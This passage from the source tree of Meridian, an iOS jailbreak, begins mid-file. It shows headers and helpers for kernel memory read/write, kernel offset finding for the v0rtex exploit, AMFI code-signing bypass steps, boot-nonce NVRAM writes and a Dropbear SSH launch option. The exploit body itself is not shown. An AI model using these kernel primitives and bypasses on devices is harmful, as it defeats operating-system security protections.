50 | kern_return_t mach_vm_deallocate(vm_map_t target,
51 | mach_vm_address_t address,
52 | mach_vm_size_t size);
53 |
54 | kern_return_t mach_vm_region(vm_map_t target_task,
55 | mach_vm_address_t *address,
56 | mach_vm_size_t *size,
57 | vm_region_flavor_t flavor,
58 | vm_region_info_t info,
59 | mach_msg_type_number_t *infoCnt,
60 | mach_port_t *object_name);
61 |
62 | kern_return_t bootstrap_look_up(mach_port_t port, const char *service, mach_port_t *server_port);
63 |
64 | uint64_t kalloc(size_t size);
65 | void kfree(uint64_t addr, uint64_t size);
66 |
67 | size_t kread(uint64_t where, void *p, size_t size);
68 | size_t kwrite(uint64_t where, const void *p, size_t size);
69 | uint64_t rk64(uint64_t kaddr);
70 | uint32_t rk32(uint64_t kaddr);
71 | void wk64(uint64_t kaddr, uint64_t val);
72 | void wk32(uint64_t kaddr, uint32_t val);
73 | uint64_t remote_alloc(mach_port_t task_port, uint64_t size);
74 | uint64_t alloc_and_fill_remote_buffer(mach_port_t task_port,
75 | uint64_t local_address,
76 | uint64_t length);
77 | void remote_free(mach_port_t task_port, uint64_t base, uint64_t size);
78 | void remote_read_overwrite(mach_port_t task_port,
79 | uint64_t remote_address,
80 | uint64_t local_address,
81 | uint64_t length);
82 | uint64_t binary_load_address(mach_port_t tp);
83 | uint64_t ktask_self_addr(void);
84 | mach_port_t task_for_pid_workaround(int pid);
85 | uint64_t find_port_address(mach_port_name_t port);
86 | uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...);
87 |
--------------------------------------------------------------------------------
/Meridian/Meridian/helpers/main.m:
--------------------------------------------------------------------------------
1 | //
2 | // main.m
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 22/12/2017.
6 | // Copyright © 2017 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #import
10 | #import "AppDelegate.h"
11 |
12 | int main(int argc, char * argv[]) {
13 | @autoreleasepool {
14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/Meridian/Meridian/helpers/nonce.h:
--------------------------------------------------------------------------------
1 | //
2 | // nonce.h
3 | // Meridian
4 | //
5 | // Created by Ben on 29/07/2018.
6 | //
7 |
8 | #ifndef nonce_h
9 | #define nonce_h
10 |
11 | int set_boot_nonce(const char *gen);
12 | const char *copy_boot_nonce(void);
13 |
14 | #endif /* nonce_h */
15 |
--------------------------------------------------------------------------------
/Meridian/Meridian/helpers/nonce.m:
--------------------------------------------------------------------------------
1 | //
2 | // nonce.m
3 | // Meridian
4 | //
5 | // Created by Ben on 29/07/2018.
6 | //
7 |
8 | #import
9 | #include "iokit.h"
10 |
11 | #define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY"
12 | #define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY"
13 | #define kNonceKey "com.apple.System.boot-nonce"
14 |
15 | CFMutableDictionaryRef makeDict(const char *key, const char *val) {
16 | CFStringRef cfKey = CFStringCreateWithCStringNoCopy(NULL, key, kCFStringEncodingUTF8, kCFAllocatorNull);
17 | CFStringRef cfVal = CFStringCreateWithCStringNoCopy(NULL, val, kCFStringEncodingUTF8, kCFAllocatorNull);
18 |
19 | CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL,
20 | 0,
21 | &kCFCopyStringDictionaryKeyCallBacks,
22 | &kCFTypeDictionaryValueCallBacks);
23 | if (!cfKey || !dict || !cfVal) {
24 | return NULL;
25 | }
26 |
27 | CFDictionarySetValue(dict, cfKey, cfVal);
28 |
29 | CFRelease(cfKey);
30 | CFRelease(cfVal);
31 | return dict;
32 | }
33 |
34 | int applyDict(CFMutableDictionaryRef dict) {
35 | io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
36 | if (!MACH_PORT_VALID(nvram)) {
37 | return 1;
38 | }
39 |
40 | kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict);
41 | if (kret != KERN_SUCCESS) {
42 | return 1;
43 | }
44 |
45 | return 0;
46 | }
47 |
48 | int applyToNvram(const char *key, const char *val) {
49 | CFMutableDictionaryRef dict = makeDict(key, val);
50 | if (!dict) {
51 | return 1;
52 | }
53 |
54 | int ret = applyDict(dict);
55 |
56 | CFRelease(dict);
57 | return ret;
58 | }
59 |
60 | int set_boot_nonce(const char *gen) {
61 | int ret = applyToNvram(kIONVRAMDeletePropertyKey, kNonceKey);
62 |
63 | // set even if deletion failed
64 | ret = applyToNvram(kNonceKey, gen);
65 | ret = ret || applyToNvram(kIONVRAMForceSyncNowPropertyKey, kNonceKey);
66 |
67 | return ret;
68 | }
69 |
70 | const char *copy_boot_nonce() {
71 | uint32_t length = 1024;
72 | char buf[length];
73 |
74 | mach_port_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
75 | if (!MACH_PORT_VALID(nvram)) {
76 | return NULL;
77 | }
78 |
79 | kern_return_t err = IORegistryEntryGetProperty(nvram, "com.apple.System.boot-nonce", (void *)buf, &length);
80 | if (err != KERN_SUCCESS) {
81 | return NULL;
82 | }
83 |
84 | buf[length] = '\0';
85 | return strdup(buf);
86 | }
87 |
--------------------------------------------------------------------------------
/Meridian/Meridian/helpers/nvpatch.h:
--------------------------------------------------------------------------------
1 | //
2 | // nvpatch.h
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 11/05/2018.
6 | // Copyright © 2018 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #ifndef nvpatch_h
10 | #define nvpatch_h
11 |
12 | int nvpatch(const char *target);
13 |
14 | #endif /* nvpatch_h */
15 |
--------------------------------------------------------------------------------
/Meridian/Meridian/helpers/untar.h:
--------------------------------------------------------------------------------
1 | //
2 | // untar.h
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 16/02/2018.
6 | // Copyright © 2018 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #ifndef untar_h
10 | #define untar_h
11 |
12 | int untar(FILE *a, const char *path);
13 |
14 | #endif /* untar_h */
15 |
--------------------------------------------------------------------------------
/Meridian/Meridian/jailbreak.h:
--------------------------------------------------------------------------------
1 | //
2 | // jailbreak.h
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 16/02/2018.
6 | // Copyright © 2018 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #ifndef jailbreak_h
10 | #define jailbreak_h
11 |
12 | BOOL great_success;
13 |
14 | int makeShitHappen(id view);
15 | int runV0rtex(void);
16 | int patchContainermanagerd(void);
17 | int remountRootFs(void);
18 | int extractMeridianData(void);
19 | void setUpSymLinks(void);
20 | int extractBootstrap(int *exitCode);
21 | int defecateAmfi(void);
22 | int launchDropbear(void);
23 | void setUpSubstitute(void);
24 | int startJailbreakd(void);
25 | int loadLaunchDaemons(void);
26 | void enableHiddenApps(void);
27 |
28 | #endif /* jailbreak_h */
29 |
--------------------------------------------------------------------------------
/Meridian/Meridian/mach/jailbreak_daemonUser.h:
--------------------------------------------------------------------------------
1 | #ifndef _jailbreak_daemon_user_
2 | #define _jailbreak_daemon_user_
3 |
4 | /* Module jailbreak_daemon */
5 |
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 |
16 | /* BEGIN VOUCHER CODE */
17 |
18 | #ifndef KERNEL
19 | #if defined(__has_include)
20 | #if __has_include()
21 | #ifndef USING_VOUCHERS
22 | #define USING_VOUCHERS
23 | #endif
24 | #ifndef __VOUCHER_FORWARD_TYPE_DECLS__
25 | #define __VOUCHER_FORWARD_TYPE_DECLS__
26 | #ifdef __cplusplus
27 | extern "C" {
28 | #endif
29 | extern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import));
30 | #ifdef __cplusplus
31 | }
32 | #endif
33 | #endif // __VOUCHER_FORWARD_TYPE_DECLS__
34 | #endif // __has_include()
35 | #endif // __has_include
36 | #endif // !KERNEL
37 |
38 | /* END VOUCHER CODE */
39 |
40 |
41 | /* BEGIN MIG_STRNCPY_ZEROFILL CODE */
42 |
43 | #if defined(__has_include)
44 | #if __has_include()
45 | #ifndef USING_MIG_STRNCPY_ZEROFILL
46 | #define USING_MIG_STRNCPY_ZEROFILL
47 | #endif
48 | #ifndef __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__
49 | #define __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__
50 | #ifdef __cplusplus
51 | extern "C" {
52 | #endif
53 | extern int mig_strncpy_zerofill(char *dest, const char *src, int len) __attribute__((weak_import));
54 | #ifdef __cplusplus
55 | }
56 | #endif
57 | #endif /* __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ */
58 | #endif /* __has_include() */
59 | #endif /* __has_include */
60 |
61 | /* END MIG_STRNCPY_ZEROFILL CODE */
62 |
63 |
64 | #ifdef AUTOTEST
65 | #ifndef FUNCTION_PTR_T
66 | #define FUNCTION_PTR_T
67 | typedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t);
68 | typedef struct {
69 | char *name;
70 | function_ptr_t function;
71 | } function_table_entry;
72 | typedef function_table_entry *function_table_t;
73 | #endif /* FUNCTION_PTR_T */
74 | #endif /* AUTOTEST */
75 |
76 | #ifndef jailbreak_daemon_MSG_COUNT
77 | #define jailbreak_daemon_MSG_COUNT 1
78 | #endif /* jailbreak_daemon_MSG_COUNT */
79 |
80 | #include
81 | #include
82 | #include
83 | #include
84 |
85 | #ifdef __BeforeMigUserHeader
86 | __BeforeMigUserHeader
87 | #endif /* __BeforeMigUserHeader */
88 |
89 | #include
90 | __BEGIN_DECLS
91 |
92 |
93 | /* Routine call */
94 | #ifdef mig_external
95 | mig_external
96 | #else
97 | extern
98 | #endif /* mig_external */
99 | kern_return_t jbd_call
100 | (
101 | mach_port_t server_port,
102 | uint8_t command,
103 | uint32_t pid
104 | );
105 |
106 | __END_DECLS
107 |
108 | /********************** Caution **************************/
109 | /* The following data types should be used to calculate */
110 | /* maximum message sizes only. The actual message may be */
111 | /* smaller, and the position of the arguments within the */
112 | /* message layout may vary from what is presented here. */
113 | /* For example, if any of the arguments are variable- */
114 | /* sized, and less than the maximum is sent, the data */
115 | /* will be packed tight in the actual message to reduce */
116 | /* the presence of holes. */
117 | /********************** Caution **************************/
118 |
119 | /* typedefs for all requests */
120 |
121 | #ifndef __Request__jailbreak_daemon_subsystem__defined
122 | #define __Request__jailbreak_daemon_subsystem__defined
123 |
124 | #ifdef __MigPackStructs
125 | #pragma pack(4)
126 | #endif
127 | typedef struct {
128 | mach_msg_header_t Head;
129 | NDR_record_t NDR;
130 | uint8_t command;
131 | char commandPad[3];
132 | uint32_t pid;
133 | } __Request__call_t __attribute__((unused));
134 | #ifdef __MigPackStructs
135 | #pragma pack()
136 | #endif
137 | #endif /* !__Request__jailbreak_daemon_subsystem__defined */
138 |
139 | /* union of all requests */
140 |
141 | #ifndef __RequestUnion__jbd_jailbreak_daemon_subsystem__defined
142 | #define __RequestUnion__jbd_jailbreak_daemon_subsystem__defined
143 | union __RequestUnion__jbd_jailbreak_daemon_subsystem {
144 | __Request__call_t Request_jbd_call;
145 | };
146 | #endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */
147 | /* typedefs for all replies */
148 |
149 | #ifndef __Reply__jailbreak_daemon_subsystem__defined
150 | #define __Reply__jailbreak_daemon_subsystem__defined
151 |
152 | #ifdef __MigPackStructs
153 | #pragma pack(4)
154 | #endif
155 | typedef struct {
156 | mach_msg_header_t Head;
157 | NDR_record_t NDR;
158 | kern_return_t RetCode;
159 | } __Reply__call_t __attribute__((unused));
160 | #ifdef __MigPackStructs
161 | #pragma pack()
162 | #endif
163 | #endif /* !__Reply__jailbreak_daemon_subsystem__defined */
164 |
165 | /* union of all replies */
166 |
167 | #ifndef __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined
168 | #define __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined
169 | union __ReplyUnion__jbd_jailbreak_daemon_subsystem {
170 | __Reply__call_t Reply_jbd_call;
171 | };
172 | #endif /* !__RequestUnion__jbd_jailbreak_daemon_subsystem__defined */
173 |
174 | #ifndef subsystem_to_name_map_jailbreak_daemon
175 | #define subsystem_to_name_map_jailbreak_daemon \
176 | { "call", 500 }
177 | #endif
178 |
179 | #ifdef __AfterMigUserHeader
180 | __AfterMigUserHeader
181 | #endif /* __AfterMigUserHeader */
182 |
183 | #endif /* _jailbreak_daemon_user_ */
184 |
--------------------------------------------------------------------------------
/Meridian/Meridian/patchfinders/offsetdump.h:
--------------------------------------------------------------------------------
1 | //
2 | // offsetdump.h
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 30/03/2018.
6 | // Copyright © 2018 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #ifndef offsetdump_h
10 | #define offsetdump_h
11 |
12 | void dumpOffsetsToFile(offsets_t *offsets, uint64_t kernel_base, uint64_t kernel_slide);
13 |
14 | #endif /* offsetdump_h */
15 |
--------------------------------------------------------------------------------
/Meridian/Meridian/patchfinders/offsetfinder.h:
--------------------------------------------------------------------------------
1 | //
2 | // offsetfinder.h
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 08/03/2018.
6 | // Copyright © 2018 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #ifndef offsetfinder_h
10 | #define offsetfinder_h
11 |
12 | #ifdef __cplusplus
13 | extern "C"
14 | #endif
15 | offsets_t *get_offsets(void);
16 |
17 | #endif /* offsetfinder_h */
18 |
--------------------------------------------------------------------------------
/Meridian/Meridian/patchfinders/offsetfinder.mm:
--------------------------------------------------------------------------------
1 | //
2 | // offsetfinder.mm
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 08/03/2018.
6 | // Copyright © 2018 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #include "v0rtex.h"
10 | #include "liboffsetfinder64.hpp"
11 | #include "ViewController.h"
12 | #import
13 |
14 | static bool DidInit = false;
15 | static offsets_t off;
16 |
17 | extern "C" offsets_t *get_offsets() {
18 | if (DidInit) {
19 | return &off;
20 | }
21 |
22 | try {
23 | NSLog(@"[OFFSET] initializing offsetfinder...");
24 | tihmstar::offsetfinder64 fi("/System/Library/Caches/com.apple.kernelcaches/kernelcache");
25 | NSLog(@"[OFFSET] initialized offsetfinder");
26 |
27 | off.base = 0xfffffff007004000;
28 |
29 | NSLog(@"[OFFSET] begginning offset finding...");
30 | off.sizeof_task = (kptr_t)fi.find_sizeof_task();
31 | off.task_itk_self = (kptr_t)fi.find_task_itk_self();
32 | off.task_itk_registered = (kptr_t)fi.find_task_itk_registered();
33 | off.task_bsd_info = (kptr_t)fi.find_task_bsd_info();
34 | off.proc_ucred = (kptr_t)fi.find_proc_ucred();
35 | off.vm_map_hdr = (kptr_t)fi.find_vm_map_hdr();
36 | off.ipc_space_is_task = (kptr_t)fi.find_ipc_space_is_task();
37 | off.realhost_special = 0x10;
38 | off.iouserclient_ipc = (kptr_t)fi.find_iouserclient_ipc();
39 | off.vtab_get_retain_count = (kptr_t)fi.find_vtab_get_retain_count();
40 | off.vtab_get_external_trap_for_index = (kptr_t)fi.find_vtab_get_external_trap_for_index();
41 | NSLog(@"[OFFSET] grabbed struct offsets");
42 |
43 | off.zone_map = (kptr_t)fi.find_zone_map();
44 | off.kernel_map = (kptr_t)fi.find_kernel_map();
45 | off.kernel_task = (kptr_t)fi.find_kernel_task();
46 | off.realhost = (kptr_t)fi.find_realhost();
47 | NSLog(@"[OFFSET] grabbed map offsets");
48 |
49 | off.copyin = (kptr_t)fi.find_copyin();
50 | off.copyout = (kptr_t)fi.find_copyout();
51 | off.chgproccnt = (kptr_t)fi.find_chgproccnt();
52 | off.kauth_cred_ref = (kptr_t)fi.find_kauth_cred_ref();
53 | off.ipc_port_alloc_special = (kptr_t)fi.find_ipc_port_alloc_special();
54 | off.ipc_kobject_set = (kptr_t)fi.find_ipc_kobject_set();
55 | off.ipc_port_make_send = (kptr_t)fi.find_ipc_port_make_send();
56 | off.osserializer_serialize = (kptr_t)fi.find_osserializer_serialize();
57 | off.rop_ldr_x0_x0_0x10 = (kptr_t)fi.find_rop_ldr_x0_x0_0x10();
58 | NSLog(@"[OFFSET] grabbed code offsets");
59 |
60 | off.root_vnode = (kptr_t)fi.find_rootvnode();
61 |
62 | off.vfs_context_current = (kptr_t)fi.find_sym("_vfs_context_current");
63 | off.vnode_getfromfd = (kptr_t)fi.find_sym("_vnode_getfromfd");
64 | off.vnode_getattr = (kptr_t)fi.find_sym("_vnode_getattr");
65 | off.vnode_put = (kptr_t)fi.find_sym("_vnode_put");
66 | off.csblob_ent_dict_set = (kptr_t)fi.find_sym("_csblob_entitlements_dictionary_set");
67 | off.sha1_init = (kptr_t)fi.find_sym("_SHA1Init");
68 | off.sha1_update = (kptr_t)fi.find_sym("_SHA1Update");
69 | off.sha1_final = (kptr_t)fi.find_sym("_SHA1Final");
70 | NSLog(@"[OFFSET] grabbed amfi offsets");
71 |
72 | NSLog(@"[OFFSET] sizeof_task = 0x%llx", off.sizeof_task);
73 | NSLog(@"[OFFSET] task_itk_self = 0x%llx", off.task_itk_self);
74 | NSLog(@"[OFFSET] task_itk_registered = 0x%llx", off.task_itk_registered);
75 | NSLog(@"[OFFSET] kernel_task = 0x%llx", off.kernel_task);
76 | NSLog(@"[OFFSET] rootvnode = 0x%llx", off.root_vnode);
77 | NSLog(@"[OFFSET] sha1_init = 0x%llx", off.sha1_init);
78 | } catch (tihmstar::exception &e) {
79 | NSLog(@"offsetfinder failure! %d (%s)", e.code(), e.what());
80 | return NULL;
81 | } catch (std::exception &e) {
82 | NSLog(@"fatal offsetfinder failure! %s", e.what());
83 | return NULL;
84 | }
85 |
86 | DidInit = true;
87 |
88 | return &off;
89 | }
90 |
--------------------------------------------------------------------------------
/Meridian/Meridian/patchfinders/patchfinder64.h:
--------------------------------------------------------------------------------
1 | #ifndef PATCHFINDER64_H_
2 | #define PATCHFINDER64_H_
3 |
4 | #import "common.h"
5 | #import
6 |
7 | int init_patchfinder(const char *filename);
8 | void term_kernel(void);
9 |
10 | enum { SearchInCore, SearchInPrelink };
11 |
12 | uint64_t find_register_value(uint64_t where, int reg);
13 | uint64_t find_reference(uint64_t to, int n, int prelink);
14 | uint64_t find_strref(const char *string, int n, int prelink);
15 |
16 | // amfi trust cache patching
17 | uint64_t find_trustcache(void);
18 | uint64_t find_amficache(void);
19 |
20 | // lwvm patching for <10.3
21 | uint64_t find_boot_args(unsigned *cmdline_offset);
22 |
23 | // used in jailbreakd
24 | uint64_t find_add_x0_x0_0x40_ret(void);
25 | uint64_t find_OSBoolean_True(void);
26 | uint64_t find_OSBoolean_False(void);
27 | uint64_t find_OSUnserializeXML(void);
28 | uint64_t find_smalloc(void);
29 | uint64_t find_cs_find_md(uint64_t sha1_init, uint64_t sha1_update, uint64_t sha1_final);
30 |
31 | #endif
32 |
--------------------------------------------------------------------------------
/Meridian/Meridian/preferences.h:
--------------------------------------------------------------------------------
1 | //
2 | // Preferences.h
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 28/07/2018.
6 | //
7 |
8 | #ifndef Preferences_h
9 | #define Preferences_h
10 |
11 | enum {
12 | Port22 = 0,
13 | Port2222,
14 | Port222222
15 | };
16 |
17 | void setTweaksEnabled(BOOL enabled);
18 | BOOL tweaksAreEnabled(void);
19 | void setStartLaunchDaemonsEnabled(BOOL enabled);
20 | BOOL startLaunchDaemonsIsEnabled(void);
21 | void setBootNonceValue(uint64_t bootNonce);
22 | uint64_t getBootNonceValue(void);
23 | void setStartDropbearEnabled(BOOL enabled);
24 | BOOL startDropbearIsEnabled(void);
25 | void setListenPort(NSInteger portOption);
26 | NSInteger listenPort(void);
27 |
28 | #endif /* Preferences_h */
29 |
--------------------------------------------------------------------------------
/Meridian/Meridian/preferences.m:
--------------------------------------------------------------------------------
1 | //
2 | // Preferences.m
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 28/07/2018.
6 | //
7 |
8 | #import
9 |
10 | #import "preferences.h"
11 |
12 | #define TweaksKey @"tweaksAreEnabled"
13 | #define StartLaunchDaemonsKey @"startLaunchDaemonsEnabled"
14 | #define BootNonceKey @"bootNonce"
15 | #define StartDropbearKey @"startDropbearEnabled"
16 | #define PortKey @"listenPortOption"
17 |
18 | #define ELECTRA_GENERATOR 0xbd34a880be0b53f3
19 |
20 | void setTweaksEnabled(BOOL enabled) {
21 | [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:TweaksKey];
22 | [[NSUserDefaults standardUserDefaults] synchronize];
23 | }
24 |
25 | BOOL tweaksAreEnabled() {
26 | NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:TweaksKey];
27 |
28 | return (enabled) ? [enabled boolValue] : true;
29 | }
30 |
31 | void setStartLaunchDaemonsEnabled(BOOL enabled) {
32 | [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:StartLaunchDaemonsKey];
33 | [[NSUserDefaults standardUserDefaults] synchronize];
34 | }
35 |
36 | BOOL startLaunchDaemonsIsEnabled() {
37 | NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:StartLaunchDaemonsKey];
38 |
39 | return (enabled) ? [enabled boolValue] : true;
40 | }
41 |
42 | void setBootNonceValue(uint64_t bootNonce) {
43 | [[NSUserDefaults standardUserDefaults] setInteger:bootNonce forKey:BootNonceKey];
44 | [[NSUserDefaults standardUserDefaults] synchronize];
45 | }
46 |
47 | uint64_t getBootNonceValue() {
48 | NSInteger integer = [[NSUserDefaults standardUserDefaults] integerForKey:BootNonceKey];
49 |
50 | return (integer != 0x0) ? integer : ELECTRA_GENERATOR;
51 | }
52 |
53 | void setStartDropbearEnabled(BOOL enabled) {
54 | [[NSUserDefaults standardUserDefaults] setBool:enabled forKey:StartDropbearKey];
55 | [[NSUserDefaults standardUserDefaults] synchronize];
56 | }
57 |
58 | BOOL startDropbearIsEnabled() {
59 | NSNumber *enabled = [[NSUserDefaults standardUserDefaults] objectForKey:StartDropbearKey];
60 |
61 | return (enabled) ? [enabled boolValue] : false;
62 | }
63 |
64 | void setListenPort(NSInteger portOption) {
65 | [[NSUserDefaults standardUserDefaults] setInteger:portOption forKey:PortKey];
66 | [[NSUserDefaults standardUserDefaults] synchronize];
67 | }
68 |
69 | NSInteger listenPort(void) {
70 | NSNumber *portOption = [[NSUserDefaults standardUserDefaults] objectForKey:PortKey];
71 |
72 | return (portOption) ? portOption.integerValue : Port222222;
73 | }
74 |
--------------------------------------------------------------------------------
/Meridian/Meridian/root-rw.h:
--------------------------------------------------------------------------------
1 | //
2 | // root-rw.h
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 16/12/2017.
6 | // Copyright © 2017 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #include
10 | #include
11 |
12 | int mount_root(uint64_t kslide, uint64_t root_vnode, int pre130);
13 |
--------------------------------------------------------------------------------
/Meridian/Meridian/v0rtex.h:
--------------------------------------------------------------------------------
1 | #import "common.h"
2 | #include
3 | #include
4 |
5 | typedef struct
6 | {
7 | const char *version;
8 | kptr_t base;
9 | // Structure offsets
10 | kptr_t sizeof_task;
11 | kptr_t task_itk_self;
12 | kptr_t task_itk_registered;
13 | kptr_t task_bsd_info;
14 | kptr_t proc_ucred;
15 | kptr_t vm_map_hdr;
16 | kptr_t ipc_space_is_task;
17 | kptr_t realhost_special;
18 | kptr_t iouserclient_ipc;
19 | kptr_t vtab_get_retain_count;
20 | kptr_t vtab_get_external_trap_for_index;
21 | // Data
22 | kptr_t zone_map;
23 | kptr_t kernel_map;
24 | kptr_t kernel_task;
25 | kptr_t realhost;
26 | // Code
27 | kptr_t copyin;
28 | kptr_t copyout;
29 | kptr_t chgproccnt;
30 | kptr_t kauth_cred_ref;
31 | kptr_t ipc_port_alloc_special;
32 | kptr_t ipc_kobject_set;
33 | kptr_t ipc_port_make_send;
34 | kptr_t osserializer_serialize;
35 | kptr_t rop_ldr_x0_x0_0x10;
36 | // Remount
37 | kptr_t root_vnode;
38 | // AMFID stuff
39 | kptr_t vfs_context_current;
40 | kptr_t vnode_getfromfd;
41 | kptr_t vnode_getattr;
42 | kptr_t vnode_put;
43 | kptr_t csblob_ent_dict_set;
44 | kptr_t sha1_init;
45 | kptr_t sha1_update;
46 | kptr_t sha1_final;
47 | } offsets_t;
48 |
49 | typedef kern_return_t (*v0rtex_cb_t)(task_t tfp0, kptr_t kbase, void *cb_data);
50 |
51 | kern_return_t v0rtex(offsets_t *off, v0rtex_cb_t callback, void *cb_data);
52 |
--------------------------------------------------------------------------------
/Meridian/Meridian/views/AppDelegate.h:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.h
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 22/12/2017.
6 | // Copyright © 2017 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @interface AppDelegate : UIResponder
12 |
13 | @property (strong, nonatomic) UIWindow *window;
14 |
15 |
16 | @end
17 |
18 |
--------------------------------------------------------------------------------
/Meridian/Meridian/views/AppDelegate.m:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.m
3 | // Meridian
4 | //
5 | // Created by Ben Sparkes on 22/12/2017.
6 | // Copyright © 2017 Ben Sparkes. All rights reserved.
7 | //
8 |
9 | #import "AppDelegate.h"
10 |
11 | @interface AppDelegate ()
12 |
13 | @end
14 |
15 | @implementation AppDelegate
16 |
17 |
18 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
19 | // Override point for customization after application launch.
20 | return YES;
21 | }
22 |
23 |
24 | - (void)applicationWillResignActive:(UIApplication *)application {
25 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
26 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
27 | }
28 |
29 |
30 | - (void)applicationDidEnterBackground:(UIApplication *)application {
31 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
32 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
33 | }
34 |
35 |
36 | - (void)applicationWillEnterForeground:(UIApplication *)application {
37 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.
38 | }
39 |
40 |
41 | - (void)applicationDidBecomeActive:(UIApplication *)application {
42 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
43 | }
44 |
45 |
46 | - (void)applicationWillTerminate:(UIApplication *)application {
47 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
48 | }
49 |
50 |
51 | @end
52 |
--------------------------------------------------------------------------------
/Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "size" : "20x20",
5 | "idiom" : "iphone",
6 | "filename" : "Icon-App-20x20@2x.png",
7 | "scale" : "2x"
8 | },
9 | {
10 | "size" : "20x20",
11 | "idiom" : "iphone",
12 | "filename" : "Icon-App-20x20@3x.png",
13 | "scale" : "3x"
14 | },
15 | {
16 | "size" : "29x29",
17 | "idiom" : "iphone",
18 | "filename" : "Icon-App-29x29@1x.png",
19 | "scale" : "1x"
20 | },
21 | {
22 | "size" : "29x29",
23 | "idiom" : "iphone",
24 | "filename" : "Icon-App-29x29@2x.png",
25 | "scale" : "2x"
26 | },
27 | {
28 | "size" : "29x29",
29 | "idiom" : "iphone",
30 | "filename" : "Icon-App-29x29@3x.png",
31 | "scale" : "3x"
32 | },
33 | {
34 | "size" : "40x40",
35 | "idiom" : "iphone",
36 | "filename" : "Icon-App-40x40@2x.png",
37 | "scale" : "2x"
38 | },
39 | {
40 | "size" : "40x40",
41 | "idiom" : "iphone",
42 | "filename" : "Icon-App-40x40@3x.png",
43 | "scale" : "3x"
44 | },
45 | {
46 | "size" : "57x57",
47 | "idiom" : "iphone",
48 | "filename" : "Icon-App-57x57@1x.png",
49 | "scale" : "1x"
50 | },
51 | {
52 | "size" : "57x57",
53 | "idiom" : "iphone",
54 | "filename" : "Icon-App-57x57@2x.png",
55 | "scale" : "2x"
56 | },
57 | {
58 | "size" : "60x60",
59 | "idiom" : "iphone",
60 | "filename" : "Icon-App-60x60@2x.png",
61 | "scale" : "2x"
62 | },
63 | {
64 | "size" : "60x60",
65 | "idiom" : "iphone",
66 | "filename" : "Icon-App-60x60@3x.png",
67 | "scale" : "3x"
68 | },
69 | {
70 | "size" : "20x20",
71 | "idiom" : "ipad",
72 | "filename" : "Icon-App-20x20@1x.png",
73 | "scale" : "1x"
74 | },
75 | {
76 | "size" : "20x20",
77 | "idiom" : "ipad",
78 | "filename" : "Icon-App-20x20@2x.png",
79 | "scale" : "2x"
80 | },
81 | {
82 | "size" : "29x29",
83 | "idiom" : "ipad",
84 | "filename" : "Icon-App-29x29@1x.png",
85 | "scale" : "1x"
86 | },
87 | {
88 | "size" : "29x29",
89 | "idiom" : "ipad",
90 | "filename" : "Icon-App-29x29@2x.png",
91 | "scale" : "2x"
92 | },
93 | {
94 | "size" : "40x40",
95 | "idiom" : "ipad",
96 | "filename" : "Icon-App-40x40@1x.png",
97 | "scale" : "1x"
98 | },
99 | {
100 | "size" : "40x40",
101 | "idiom" : "ipad",
102 | "filename" : "Icon-App-40x40@2x.png",
103 | "scale" : "2x"
104 | },
105 | {
106 | "size" : "50x50",
107 | "idiom" : "ipad",
108 | "filename" : "Icon-Small-50x50@1x.png",
109 | "scale" : "1x"
